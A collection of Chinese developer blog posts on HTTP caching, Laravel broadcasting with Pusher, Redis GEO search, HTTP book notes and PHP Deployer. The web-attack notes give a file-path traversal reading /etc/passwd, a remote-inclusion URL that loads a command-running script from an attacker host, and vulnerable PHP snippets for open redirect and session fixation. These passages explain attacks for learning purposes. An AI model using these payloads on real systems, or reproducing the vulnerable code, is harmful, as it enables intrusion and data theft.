HTTP 缓存机制

浏览器缓存分两类:强制缓存、对比缓存。

两类缓存规则可以同时存在,强制缓存优先级高于对比缓存,当执行强制缓存的规则时,如果缓存生效,直接使用缓存,不再执行对比缓存规则。

强制缓存

强制缓存如果生效,不需要再和服务器发生交互。

主要有两个首部字段:ExpiresCache-Control。其中 Expires 是 HTTP/1.0 版本的东西,在 HTTP/1.1 中,被 Cache-Control 替代。

Cache-Control

Alt text

响应首部的 Cache-Control 字段:

字段值 说明
no-cache 这个重点解释。这里的 no-cache 并非不缓存的意思,而是不缓存过期的资源
在提供缓存资源前必须先向服务器确认有效性(服务器返回 304 才可用),需要使用对比缓存来验证缓存数据
no-store 告诉客户端,不要缓存响应的任何内容(强制缓存、对比缓存都不会触发)
max-age 指定时间内不需要再问服务器要数据
不产生网络请求,但仍有响应状态码 200 OK from disk cache
s-maxage CDN 或共享缓存服务器响应的最大 Age 值
public 表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存
private 表明响应只能被单个用户缓存,不能作为共享缓存(即 CDN 或代理服务器不能缓存它)
must-revalidate 缓存必须在使用之前验证旧资源的状态,并且不可使用过期资源。
no-transform 代理不可更改媒体类型
proxy-revalidate 要求中间缓存服务器对缓存的响应有效性再进行确认

请求首部的 Cache-Control 字段:

对比缓存

对比缓存不管是否生效,都一定会与服务端发生交互。

  • Last-Modified / If-Modified-Since
  • ETag / If-None-Match(优先级高于 Last-Modified

Last-Modified 与 ETag 的区别:

1、服务器会优先验证 ETag,一致的情况下,再对比 Last-Modified; 2、Last-Modified 只能精确到秒,有些资源在1秒内改变过,只能靠 ETag 来区分; 3、 一些资源的最后修改时间变了,但是内容并没改变,使用 ETag 就认为资源还是没有修改。

三种刷新的姿势

假设对一个资源,浏览器第一次访问,响应头为:

  • Cache-Control: max-age:600
  • Last-Modified: Wed, 10 Aug 2013 15:32:18 GMT

于是浏览器把资源放到缓存中,下次直接到缓存中取。

1、浏览器中写地址,回车

浏览器不会发送任何网络请求,直接去缓存中取资源。

2、F5 刷新

浏览器请求头中忽略 Expires/Cache-Control 的设置,并带着 If-Modified-SinceIf-None-Match 去请求服务器,服务端返回完整资源或者 304200 状态码。

3、Ctrl+F5 强刷

浏览器请求头中带着 Cache-Control:no-cache 并且不带 If-None-MatchIf-Modified-Since 去请求服务器,服务端虽然收到 no-cache,但并没有收到 ETagLast-Modified,无法使用对比缓存,所以只能返回完整资源。

强刷等价于在 Chrome 控制台中勾选 Disable cache

借一图胜前言

Alt text

在HTTP请求和响应的消息报头中,常见的与缓存有关的消息报头有:

Alt text

示例

禁止缓存

发送如下指令可以关闭缓存。此外,可以参考Expires 和 Pragma 标题。

Cache-Control: no-cache, no-store, must-revalidate

缓存静态资源

对于应用程序中不会改变的文件,你通常可以在发送响应头前添加积极缓存。这包括例如由应用程序提供的静态文件,例如图像,CSS文件和JavaScript文件。另请参阅Expires标题。

Cache-Control:public, max-age=31536000

参考文章

Laravel Broadcaster 介绍

什么是广播?

广播 Broadcaster 是指发送方发送一条消息,订阅频道的各个接收方都能及时收到推送的消息,想象一下广播电视塔向外辐射发送消息的场景。

比如 A同学写了一篇文章,这时候 B同学在文章底下评论了,A同学在页面上是不用刷新就能收到提示有文章被评论了,这个本质上就是A同学收到了广播消息,这个广播消息是由B同学评论这个动作触发了发送广播消息。

Laravel Broadcast 模块组成

Alt text

在 Laravel 中可以 Broadcast 有三种驱动方式:

  • Pusher
  • Redis
  • Log

修改 .envBROADCAST_DRIVER 属性,或在 config/broadcasting.php 中配置。

在整个广播行为中,频道的类型有三种:

  • 公共频道 public
  • 私有频道 private
  • 存在频道 presence

公开频道

公开频道是任何人都可以订阅或监听的频道,默认定义的都是公开频道。

/**
 * Get the channels the event should be broadcast on.
 *
 * @return Channel|array
 */
public function broadcastOn()
{
    return ['test-channel'];
}

私有频道(Private Channel)

私有频道要求监听前必须先授权当前认证用户。

// 定义频道,绑定事件
var channel = pusher.subscribe('private-first-channel');
channel.bind('login', function(data) {
    alert(data);
});

如果订阅的是私有频道(频道名是以 private- 开头)或存在频道(频道名是以 presence- 开头),则会发出权限检查请求;对应的后端需要定义私有频道和存在频道的权限。

授权私有频道

通过向服务端发送包含频道名称的 HTTP 请求,来判断该用户是否允许监听该频道。使用 Laravel Echo 时,授权订阅私有频道的 HTTP 请求会自动发送。

频道的授权检测在 routes/channels.php 里,例如:

Broadcast::channel('first-channel', function ($user) {
    return (int) $user->id === 1;
});

注意:这里频道名不需要加 private-presence- 修饰前缀。

广播到私有频道

/**
 * Get the channels the event should be broadcast on.
 *
 * @return Channel|array
 */
public function broadcastOn()
{
    return new PrivateChannel('room.' . $this->message->room_id);
}

存在频道(Presence Channel)

存在频道构建于私有频道之上,并且提供了额外功能:获知谁订阅了频道。基于这一点,我们可以构建强大的、协作的应用功能,例如当其他用户访问同一个页面时通知当前用户。

授权存在频道

如果用户没有被授权加入存在频道,应该返回 false null; 如果用户被授权加入频道不要返回 `true`,而应该返回关于该用户的数据数组

Broadcast::channel('chat.*', function ($user, $roomId) {
    if ($user->canJoinRoom($roomId)) {
        return ['id' => $user->id, 'name' => $user->name];
    }
});

广播到存在频道

/**
 * Get the channels the event should be broadcast on.
 *
 * @return Channel|array
 */
public function broadcastOn()
{
    return new PresenceChannel('room.' . $this->message->room_id);
}

参考文章

Laravel Pusher 介绍

Pusher 介绍

Pusher 是一个第三方中间服务商,专注 C/S 实时消息推送,类似极光、个推这样的消息推送商

原理:客户端通过 WebSocket 或 HTTP 建立和 Pusher 云服务器的持久链接,并不断接收 Pusher 云服务器推送过来的数据。我们自己的业务服务器只需要 HTTP POST 数据给 Puhser 云服务器即可。

Alt text

所以,Pusher 本质上可以适用于任意语言的 C/S,双端只需要接入官方 SDK 即可:https://pusher.com/docs/libraries

Pusher On Laravel

适用于 Laravel 框架的 Pusher 服务端 SDK,文档在此:https://github.com/vinkla/laravel-pusher

先通过 Composer 安装:

composer require vinkla/pusher

注册 ServiceProviderAlias

// add providers
Vinkla\Pusher\PusherServiceProvider::class,

// add aliases
'Pusher' => Vinkla\Pusher\Facades\Pusher::class,

发布配置文件 config/pusher.php

php artisan vendor:publish --provider='Vinkla\Pusher\PusherServiceProvider'

继续修改 config/pusher.php

'connections' => [

    'main' => [
        'auth_key' => env('PUSHER_APP_KEY'),
        'secret' => env('PUSHER_APP_SECRET'),
        'app_id' => env('PUSHER_APP_ID'),
        'options' => [
            'cluster' => env('PUSHER_APP_CLUSTER'),
            'encrypted' => true,
        ],
        'host' => null,
        'port' => null,
        'timeout' => null,
    ],
    ....

修改 .env 中的配置:

PUSHER_APP_ID=YOUR_APP_ID
PUSHER_KEY=YOUR_APP_KEY
PUSHER_SECRET=YOUR_APP_SECRET

安装完成后,开始使用:

直接调用

// 消息载体
$payload = [
    'title' => $title,
    'message' => $message,
];

use Vinkla\Pusher\Facades\Pusher;
Pusher::trigger(
    'test-channel',
    'test-event',
    $payload,
    $excludeSocketId
);

或者:

app('pusher')->trigger(
    'test-channel',
    'test-event',
    $payload,
    $excludeSocketId
);

例如简易调用下:

Route::get('/broadcasting/pusher', function () {
    app('pusher')->trigger(
        'test-channel',
        'test-event',
        $payload,
        $excludeSocketId
    );
    return 'This is a Laravel Pusher Bridge Test!';
});

查看触发结果

登录 Pusher 网站,在 Debug Console 面板中可查看 Api 推送日志,也可以在 Web 上直接发起事件推送(不赘述了,和极光一个样)。

注入日志记录器

如果发现推送失败或者了解推送步骤,可以开启推送日志:


// 日志记录器
// 这里用到了 PHP7 匿名类的语法
$logger = new class {
    public function log(string $msg)
    {
        // 日志记录在 `storage/logs/laravel.log` 中
        \Log::info($msg);
    }
};

$pusher = app('pusher');

// 注入日志记录器
$pusher->set_logger($logger);

// 正常使用 ...
$pusher->trigger(
    'test-channel',
    'test-event',
    ['message' => 'Hello World']
);

日志文件内容如下:

[2017-08-27 00:23:01] local.INFO: Pusher: ->trigger received string channel "test-channel". Converting to array.
[2017-08-27 00:23:01] local.INFO: Pusher: create_curl( http://api.pusherapp.com:80/apps/your-app-id/events?auth_key=your-auth-key&auth_signature=ca561c9df94720ef9d8d157e65187601112b0df659ee783ee67a311712c5e70a&auth_timestamp=1503764581&auth_version=1.0&body_md5=f22dec0bcf6ef3d5f06f3f1d06dbfa06 )
[2017-08-27 00:23:01] local.INFO: Pusher: trigger POST: {"name":"test-event","data":"{\"text\":\"2017-08-27 00:23:01-hello\"}","channels":["test-channel"]}
[2017-08-27 00:23:03] local.INFO: Pusher: exec_curl error:
[2017-08-27 00:23:03] local.INFO: Pusher: exec_curl response: Array
(
    [body] => auth_key should be a valid app key
    [status] => 400
)

其实也可以看出,底层就是通过 CURL 发 HTTP POST 请求给 Pusher 云服务器。

其他触发方式

如果用的 PHP 框架不是 Laravel,我们也可以通过原生 PHP 方式发起推送:

首先 Composer 安装服务端 SDK:

composer require pusher/pusher-php-server

发起推送:

require __DIR__ . '/vendor/autoload.php';

$options = [
  'cluster' => 'ap1',
  'encrypted' => true
];

$pusher = new Pusher\Pusher(
  'c8d9bff0b5eaa518e5fc',
  '183fc63d5a19a60283c1',
  '390114',
  $options
);

$data['message'] = 'hello world';
$pusher->trigger('my-channel', 'my-event', $data);

通过 Event Broadcaster 集成调用

除了直接通过 Pusher Api 发起推送之外,也可以利用 Laravel 本身的 Event/Listener 机制来触发推送,Laravel Broadcaster 本身是 Laravel 的一个广播模块,Puhser 只是 Broadcaster 支持的其中一种通信驱动,其他支持的通信驱动还有 Redis、Socket.io 等。

开始集成:

0、修改 config/broadcasting.phpconnections.pusher 的配置。

1、创建一个 Event 类:

# 生成 `app/Events/ChatMessageWasReceived.php` 文件
php artisan make:event ChatMessageWasReceived

2、修改 ChatMessageWasReceived 类,实现 ShouldBroadcast 接口,增加 broadcastOn 方法:


class PusherEvent extends Event implements ShouldBroadcast
{
    use SerializesModels;

    public $text, $id;
    private $content;
    protected $title;

    public function __construct($text, $id, $content, $title)
    {
        $this->text    = $text;
        $this->id      = $id;
        $this->content = $content;
        $this->title   = $title;
    }

    /**
     * Get the channels the event should be broadcast on.
     * 推送到哪个频道
     *
     * @return array
     */
    public function broadcastOn()
    {
        return ['test-channel'];
    }

    // 自定义广播名称(可选)
    // 缺省事件名为类名:App\Events\PusherEvent
    public function broadcastAs()
    {
        return 'test-event';
    }
}

3、注意 ChatMessageWasReceived 类的所有 public 的成员变量,都将会自动同步到 Pusher 云服务器并推送给客户端(即消息 payload)。或者我们可以通过 broadcastWith 方法来自定义消息 payload

/**
 * 获取广播数据
 *
 * @return array
 */
public function broadcastWith()
{
    return [
      'text'    => $this->text,
      'content' => $this->content,
      'title'   => $this->title,
  ];
}

4、如何触发事件推送?

// 事件实例
$event = new \App\Events\ChatMessageWasReceived($message, $user);

event($event);

或者:

broadcast($event);

或者:

$manager = app(Illuminate\Broadcasting\BroadcastManager::class);
$manager->event($event);

或者:

// 使用队列
$manager = app(Illuminate\Broadcasting\BroadcastManager::class);
$manager->queue($event);

event() 和 broadcast() 两个函数的区别

broadcast() 数还暴露了 toOthers() 方法以便允许你从广播接收者中排除当前用户:

broadcast(new ShippingStatusUpdated($update))->toOthers();

注意:toOthers() 实际是读取请求头中的 X-Socket-ID (可理解为当前连接ID)并做排除。

JS 客户端监听、接收事件

<script src="//js.pusher.com/3.0/pusher.min.js"></script>

<script>

// 打开 Pusher 的调试日志
Pusher.logToConsole = true;

// 定义 Pusher 实例
var pusher = new Pusher('');

// 当前连接的 X-Socket-ID
// 自己触发的操作,在广播时可用于排除掉自己(排我广播)
var currentSocketId = pusher.connection.socket_id;

// 定义频道、绑定监听事件
var channel = pusher.subscribe('test-channel');
channel.bind('test-event', function(data) {
  console.log(data);
  console.log(data.text);
});

</script>

可以使用 Pusher Debug Console 控制面板查看触发情况。

结语

这一章我们介绍了 Pusher 的概念和简单是使用,下一章介绍广播模块。

参考文章

Redis GEO 实现 LBS 搜索:附近的人

介绍

早在15年的 Redis 3.2 开始就已提供了 GEO 相关方法,可用来实现 LBS 搜索:

  • geoadd:增加某个地理位置的坐标
  • geopos:获取某个地理位置的坐标
  • geodist:获取两个地理位置的距离
  • georadius:根据给定地理位置坐标获取指定范围内的地理位置集合。
  • georadiusbymember:根据给定地理位置获取指定范围内的地理位置集合
  • geohash:获取某个地理位置的 geohash 值

GEOADD 添加位置

GEOADD key longitude latitude member-x [longitude latitude member-y ...]

GEOPOS 获取位置

GEOPOS key member-x [member-y ...]

GEODIST 计算两个成员的距离

GEODIST key member-x member-y m|km|ft|mi

GEORADIUS 半径搜索、获取指定范围内的成员

GEORADIUS key longitude latitude radius m|km|ft|mi [WITHCOORD] [WITHDIST] [ASC|DESC] [COUNT count]
  • m/km/ft/mi 指定的是计算范围时的单位
  • WITHCOORD 将位置的经纬度一并返回
  • WITHDIST 将位置与中心点之间的距离一并返回
  • 在默认情况下, GEORADIUS 和 GEORADIUSBYMEMBER 的结果是未排序的,ASC - 可以让查找结果根据距离从近到远排序,而 DESC 则从远到近排序;
  • COUNT 参数指定要返回的结果数量

GEORADIUSBYMEMBER

相当于 GETPOS + GEORADIUS 二合一。

GEOHASH

获取某个地理位置的 GEOHASH 值。GEOHASH 是将二维的经纬度转换成字符串 hash 值的算法。

GEOHASH key member-x [member-y ...]

实现原理

  1. 使用 GeoHash 保存地理位置的坐标。
  2. 使用有序集合(zSet)保存地理位置的集合。

GeoHash 是什么?

详情点击:GeoHash 核心原理解析

GeoHash 的思想是将二维的经纬度转换成一维的字符串,GeoHash 有以下三个特点:

  1. 字符串越长,表示的范围越精确。编码长度为8时,精度在19米左右,而当编码长度为9时,精度在2米左右。
  2. 字符串相似的表示距离相近,利用字符串的前缀匹配,可以查询附近的地理位置。这样就实现了快速查询某个坐标附近的地理位置。
  3. GeoHash 计算的字符串,可以反向解码出原来的经纬度。

参考文章

图解 HTTP 阅读笔记

知识栈

Alt text

网络基础 TCP/IP

  • 应用层(HTTP / DNS / FTP / SMTP)
  • 传输层(TCP / UDP)
  • 网络层(IP协议:IP地址 + Mac地址)
  • 链路层(网络硬件范畴)

网络层

IP 协议

IP 协议的作用是把各种数据包传送给对方。不仅包含 IP 地址,还包括增加目的地的网卡 Mac 地址转发给链路层

ARP 协议

地址解析协议(Address Resolution Protocol):根据 IP 地址反查出对应的 Mac 地址

传输层

TCP 可靠性传输原理(SYN + ACK 标志的作用)

应用层

DNS 协议原理

URI / URL

URI 是字符串标识某一互联网资源,而 URL 表示资源的地点(互联网所处的位置),可见 URL 是 URI 的子集。

RFC 3986 规定 URI(统一资源标识符)例子:

ftp://ftp.silverd.cn/rfc/abc.txt
http://www.silverd.cn/abc.txt
mailto:silverd@qq.com
news:comp.info.www.silverd.cn
tel:+816575755

其他要点

  • TRACE 方法的 Max-Forwards 没经过一层代码,都会自减1,直到为0,则立即返回,不再转发到下一层代理
  • CONNECT 要求用隧道协议连接代理?

Keep-Alive

HTTP 1.1 默认开启。

HTTP 持久连接(HTTP Persistent Connections / HTTP Keep-Alive / HTTP connection reuse) 旨在建立 1 次 TCP 连接后可进行多次请求和响应的交互(避免重复握手)。只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。

管线化 pipelining 并发请求?

Alt text

HTTP 报文

Alt text

报文主体和实体主体的差异:

  • 报文是 HTTP 通信中的基本单位,由8位组字节流组成
  • 实体作为请求或响应的有效载荷数据被传输,内容由实体首部和实体主体组成
  • 通常,报文主体等于实体主体,只有当传输中进行编码操作时,实体主体的内容发生变化,才导致它和报文主体产生差异

压缩传输的内容编码:

  • gzip (GUN zip)
  • compress (UNIX 系统的标准压缩)
  • deflate (zlib)
  • identity (不进行编码)

分割发送的分块传输编码 Chunked Transfer Coding?

multipart/form-data multipart/byteranges

获取部分内容的范围请求Range: bytes=5001-10000, 12000-15000

HTTP 状态码

状态码 参数名 说明
1XX Informational 接收的请求正在处理
2XX Success 成功状态码
3XX Redirection 重定向状态码
4XX Client Error 客户端错误状态码
5XX Server Error 服务器错误状态码

Alt text

204 No Content

一般操作成功无需返回时,例如 DELETE 方法后,可以响应 204 No Content

206 Partial Content

响应报文包含由 Content-Range 指定范围的实体内容

303 See Other / 307 Temporary Redirect

303 和 302 功能相同,但 303 明确标识客户端应当采用 GET 方法重定向前往获取资源。 理论上 301、302 是禁止将 POST 方法改变为 GET 方法的,但实际大家都会这么做。

400 Bad Request

表示请求报文中有语法错误,服务端无法理解。

401 Unauthorized

用于 Basic Auth / Digest Auth,401 响应必须包含 WWW-Authenticate 首部,要求用户输入密码等信息。浏览器初次接收到 401,会弹出认证用的对话窗口。

500 Internal Server Error

服务器内部错误,例如是 PHP 语法错误

503 Service Unavailable

服务器超负载或停机运行(注意和 Nginx 502 Bad Gateway504 Gateway Timeout 的区别) 响应中建议包含 Retry-After 首部,告知客户端稍后重试。

Web Server

Virtual Host

请求头中的 Host: www.silverd.cn 字段,即 Apache 的 ServerName 读到的值,用于区分不同虚拟主机。

代理:

代理是一种具有转发功能的程序,扮演了位于服务器和客户端『中间人』的角色。

代理服务器分两种(1、是否使用缓存 2、是否修改报文):

  • 缓存代理(Varnish/Squid)
  • 透明代理(例如翻墙代理)纯转发,不对报文进行任何加工,反之,称为非透明代理

网关

网关是转发其他服务器通信数据的服务器,接受从客户端发送过来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理,有时客户端甚至不会意识到自己的通信目标是一个网关。

根据 HTTP权威指南,代理服务器和网关的区别

代理服务器连接了使用同样通信协议的应用,而网关可以连接使用不同通信协议的部分。在实际使用中,代理服务器和网关的区别很模糊。代理服务器同样可以实现网关的功能。

如果代理服务器不做任何信息过滤,那么代理就和网关一样,传递从电脑到因特网的请求。然后代理服务器是一个比网关更强大的网络组件,除了有网关的功能之外,还能保护网络免受外部的威胁。网关却有暴露网络内部信息的危险,因为它没有任何过滤机制。它仅仅把网络内的信息发送到网络外。

网关不能屏蔽网站。只要网关配置正确,电脑就能从网络内部访问因特网上的任何网站。代理服务器能把网络请求重定向到网络内部的网站上,从而屏蔽网站。管理员可以设置在某个时段或者全天时间屏蔽一些网站。访问这些被屏蔽的网站会重定向到特定的网站上,表示你试图访问一个被屏蔽的网站。

其他代理服务器的功能:

代理服务器也能缓存一些电脑经常访问的网站。它能跟踪网站点击量并使用这些信息储存每天访问的网站信息。当你第二次访问你之前访问过的网站时,代理服务器会返回缓存中的网站信息,而不会访问因特网。这个功能可以有效的减少访问外部网络的流量,节省带宽资源。可以设置每天几次获取因特网的新内容来刷新代理服务器的缓存信息。

隧道

隧道相当于在 HTTP 外面包了一层,并不会修改任何 HTTP 报文主体。例如 SSL 隧道。

HTTP 首部

分四种首部:

  • 通用首部(请求和响应都有的首部)
  • 请求首部
  • 响应首部
  • 实体首部

首部字段重复了怎么办?没有明确规定,各浏览器都不同,有的以前者为准,有的以后者为准。

一个首部字段可以有多个值,用逗号分隔:

Keep-Alive: timeout=15, max=100

首部字段介绍

通用首部:

  • Cache-Control:用于操作缓存的工作机制,如缓存时间,是否必须向服务器确认等
  • Connection:控制不再转发给代理的首部字段和持久连接,HTTP/1.1 默认 Connection:keep-alive
  • Date:表明创建 HTTP 报文的日期时间
  • Transfer-Encoding:规定传输报文主体时采用的编码方式

请求首部:

  • Accept
  • Authorization
  • Host (HTTP/1.1 规范中唯一一个必须包含在请求内的首部字段,可为空字符串,但不能没有)
  • User-Agent
  • Cookie

响应首部

  • Location
  • Server
  • Set-Cookie

Alt text

HTTP 缓存相关

http://silverd.cn/2017/08/23/http-cache.html

HTTPS / TLS

全称:Transport Layer Security 安全传输层协议

SSL 是独立于 HTTP 的协议(可以理解为 SSL 协议运行在表示层)。其他运行在应用层的协议(SMTP/Telnet)都可配合 SSL 协议使用

公钥、私钥生成原理,为什么不容易破解?

HTTPS 握手、通信原理,可参考之前的博文:

客户端证书:类似网银的 U 盾数字证书,需用户自行安装在客户端。

密钥生成:CBC 模式(密码分组链接模式),将前一个明文块加密处理后和下一个明文块做 XOR 运算,使之重叠,然后在对运算结果做加密处理。对第一个明文块做加密时,要么使用前一段密文的最后一块,要么利用外部生成的初始向量(IV)。

HTTPS 比 HTTP 要慢 2~100 倍。

HTTP 认证

认证方式分几种:

  • Basic Auth(直接在请求头发送明文用户名和密码)
  • Digest Auth(安全级别高于 Basic Auth,具体待理解)
  • SSL Client Auth(浏览器必须先安装客户端证书,以实现免密码登录某网站,例如 WoSign 的登录)
  • FormBase Auth(目前最常用的。另:表单提交密码时可先用盐值加密,防止被劫持窃听)

在写 Cookie 时设置 HttpOnly 标记,可防止 JS 通过 document.cookie 来获取 Cookie,从而防止 XSS 攻击。

HTTP 追加协议

  • SPDY (SPeeDY)
  • Webscoket
  • HTTP/2

Google SPDY

SPDY 以会话层形式加入在 HTTP 和 TCP 之间,同时规定通信必须使用 SSL。

  • 多路复用(将同一个域名或 IP 地址的请求复用)
  • 赋予请求优先级(SPDY 不仅可以无限制并发处理请求,还可以给请求分配优先级顺序 )
  • 压缩 HTTP 首部
  • 服务器主动向客户端推送数据
  • 服务器主动提示客户端请求所需的资源(待理解:和上一条的区别?)

WebSocket

全双工通信,建立在 HTTP 基础上,复用了 HTTP 协议的一部分定义。

请求:

GET /chat HTTP/1.1
Host: www.silverd.cn
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dbgaksdjfa
Sec-WebSocket-Protocol: chat, superchat (使用的子协议)
Sec-WebSocket-Version: 13

响应:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s34523423dk (由请求头中的 Sec-WebSocket-Key 生成)
Sec-WebSocket-Protocol: chat

HTTP/2.0

七项技术:

  • 多路复用
  • TLS 义务化
  • 协商
  • 客户端拉拽、服务端推送
  • 流量控制
  • WebSocket

WebDAV

WebDAV 是一组基于 HTTP/1.1 的技术集合,使应用程序可以直接对 Web 服务器上文件进行操作。有利于用户间协同编辑和管理存储在万维网服务器文档。

通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件,支持写文件锁定及解锁,还可以支持文件的版本控制。

参考:https://www.zhihu.com/question/21511143

构建 Web 内容

  • CGI / FastCGI / Java Servlet
  • RSS / Atom
  • JSON / Protobuff

Web 攻击技术

主动攻击:

  • SQL 注入
  • OS Shell 命令注入(应该避免将外部接收到的值直接被传入到系统命令中执行,例如 opensystem 等)
  • 密码撞库攻击(彩虹表:一个公开的、巨大的由明文密码和对应散列值组成的字典表)
  • DDos (分布式拒绝服务攻击 Distributed Denial of Service Attack)

被动攻击:

  • XSS
  • CSRF
  • HTTP 首部注入(应该避免将外部接收到的值,赋给响应首部的字段,例如 Location / Set-Cookie 字段。攻击者会利用漏洞在响应首部字段内插入换行,从而达到添加任意响应首部或主体的目的)
    • Location / Set-Cookie
    • HTTP 响应截断攻击,将%0D%0A%0D%0A并排插入响应主体,这两个连续的换行会将 HTTP 头部和主体分隔。这样就能伪造主体部分。
  • 邮件首部注入(利用 To / Subject 添加非法内容)

目录遍历攻击

例如有页面:

http://silverd.cn/read.php?file=0401.log

文件 read.php 内容:

echo file_get_contents(RESOURCE_PATH . '/' . $_GET['file']);

攻击者改为:

http://silverd.cn/read.php?file=../../etc/passwd

就可以读到不该读的东西了。

远程文件包含漏洞

例如有页面:

http://silverd.cn/index.php?controller=news

文件 index.php 内容:

$controller = $_GET['controller'];
include_once APP_PATH . '/controllers/' . $controller;

攻击者改为:

http://silverd.cn/index.php?controller=http://hackr.jp/cmd.php?cmd=ls

事先 cmd.php 已准备好攻击脚本:

system($_GET['cmd']);

http://silverd.cn/index.php 运行时,就中招了。

开放重定向漏洞

例如有页面:

http://silverd.cn/login.php?redirect=/home

攻击者改为:

http://silverd.cn/login.php?redirect=http://hackr.jp

用户点击后自动被跳转到攻击者网站,可信度高的 Web 网站开放重定向功能判断跳转目标,否则容易被攻击者利用当成钓鱼攻击的跳板。

Session 会话固定攻击

假设网站支持以 URL 参数接收并设置 session_id

http://silverd.cn/index.php?sess_id=ABCDEFG

文件 index.php 内容:

if ($sessionId = $_GET['sess_id']) {
    session_id($sessionId);
}

攻击者把自己的 session_id 放到 URL 中,然后把 URL 发给被害者,被害者被诱导点进进去,然后登录认证。此时攻击者在打开这个 URL,身份就变成了被害者的身份,从而达到窃取认证的目的。

Session Adoption:

攻击者如果可以私自创建、伪造 session_id(如果服务器接受任何未知会话 ID 的话),那么攻击者可以跳过固话攻击的第一步,甚至不需要用自己真实的 session_id 了。

点击劫持

用一个透明的域(iframe)覆盖在网页某个位置上,当用户点击该位置时,触发攻击脚本。

参考文章

PHP Deployer 小试

Deployer 是一个具有模块化、代码回滚、并行任务等功能的 PHP 部署工具,支持多个 PHP 框架。 原理是在本地通过 SSH Client 执行远程 shell 命令。比传统自写 shell 脚本,更加直观易用。

安装

curl -LO https://deployer.org/deployer.phar
mv deployer.phar /usr/local/bin/dep
chmod +x /usr/local/bin/dep

或者

composer require deployer/deployer --dev

或者

composer global require deployer/deployer

初始化

在项目目录运行:

dep init

可以选择支持的 PHP 框架。每种框架菜谱的区别在于会设置不同的可写目录,以及执行不同的命令,例如 Laravel 会执行 php artisan migratecomposer install 等等。

然后会在项目目录生成一个 deploy.php 文件。

编写部署脚本

详细配置说明参见:https://deployer.org/docs/getting-started

附上我正在使用的一个 deploy.php 脚本:

<?php

/*
* --------------------------------------------------------------------------
* 自动部署脚本
* --------------------------------------------------------------------------
*
* 部署测试服:
* dep deploy
* dep deploy staging
*
* 部署生产服:
* dep deploy prod
*
* 回滚最近一次发布:
* dep rollback staging|prod
*
* 更多文档:@see https://deployer.org/docs
*/

namespace Deployer;
require 'recipe/laravel.php';

// Configuration

set('ssh_type', 'native');
set('ssh_multiplexing', true);

set('repository', 'git@git.oschina.net:silverd/adminlte.git');
set('deploy_path', '/home/wwwroot/adminlte');
set('default_stage', 'staging');

set('writable_mode', 'chmod');
add('writable_dirs', [
    'bootstrap/cache',
    'storage',
    'public/upload',
]);
add('shared_files', []);
add('shared_dirs', [
    'vendor',
    'storage',
    'public/upload',
]);

// Servers

server('staging', '121.43.110.121')
    ->user('root')
    ->identityFile()
    ->pty(true)
    ->set('branch', 'develop')
    ->stage('staging');

$serverNo = 1;
foreach (['生产服IP_1', '生产服IP_2'] as $serverIp) {
    server('prod_' . ($serverNo++), $serverIp)
        ->user('root')
        ->identityFile()
        ->pty(true)
        ->set('branch', 'master')
        ->stage('prod');
}

// Tasks

task('confirm', function () {
    askConfirmation('Are you sure want to deploy?');
});
before('deploy:prepare', 'confirm');

desc('Restart PHP-FPM service');
task('php-fpm:restart', function () {
    run('/etc/init.d/php-fpm reload');
});
after('deploy:symlink', 'php-fpm:restart');

// [Optional] if deploy fails automatically unlock.
after('deploy:failed', 'deploy:unlock');

// Migrate database before symlink new release.
before('deploy:symlink', 'artisan:migrate');

task('notify', function () {
    run('curl https://hooks.pubu.im/services/xxxx -F text="通知: 部署了测试环境服务端 PHP 代码"');
});
after('success', 'notify');

部署前准备

所有的待部署的目标机器,都必须满足以下条件:

  1. 都需安装 Git Client + PHP Composer http://docs.phpcomposer.com 并切中国镜像
  2. 都需生成『部署公钥』并上传到对应的 Git 项目里(用于免密 git pull 代码)
  3. 都需先手动 ssh git@oschina.net 一次(用于添加 ssh 指纹 ~/.ssh/known_hosts)
  4. 解禁一些 PHP 函数(修改 php.inidisable_functions
    • passthru
    • exec
    • system
    • shell_exec
    • proc_open
    • proc_get_status

开始部署

# 部署测试服
dep deploy
dep deploy staging

# 部署生产服:
dep deploy prod

# 回滚最近一次发布:
dep rollback staging|prod

# 查看详细步骤
dep deploy staging -vvv

部署成功时,Deployer 会自动在服务器上生成以下文件和目录:

  • releases 包含你部署项目的版本(默认保留 5 个版本)
  • shared 包含你部署项目的共享文件或目录(如:Laravel 的 Storage 目录、.env 文件等 )
  • current 软连接到你当前发布的版本

Nginx VirtualHost DocumentRoot 指向 current/public 目录即可。

我认为的缺点

  1. 每次部署都会重新 git clone 代码,如果仓库体积大,拉取速度有些慢。
  2. 如果生产服有10台服务器,那相当于这10台上都要维护一套 Git 仓库(每次部署相当于自动登录到10台机器上自动 git clone),还需要把10台机器的『部署公钥』都上传到 git 项目里以实现免密码拉取代码(详见上文:部署前准备)。
  3. 同时要求,本机(即发布机:执行部署命令的那台机器)的公钥必须上传到这10台机器上,如果有多个部署人如何处理?

对于以上第2点、第3点,我认为的解决办法:

还是需要一台专用发布机,本机 deploy.php 连这台发布机,在发布机上按正常步骤 deploy,然后由这台发布机 rsync 代码到10台真正对外的 WebServer 服务器上。这样 ssh 公钥和 git 部署公钥只需要一份即可。

参考文章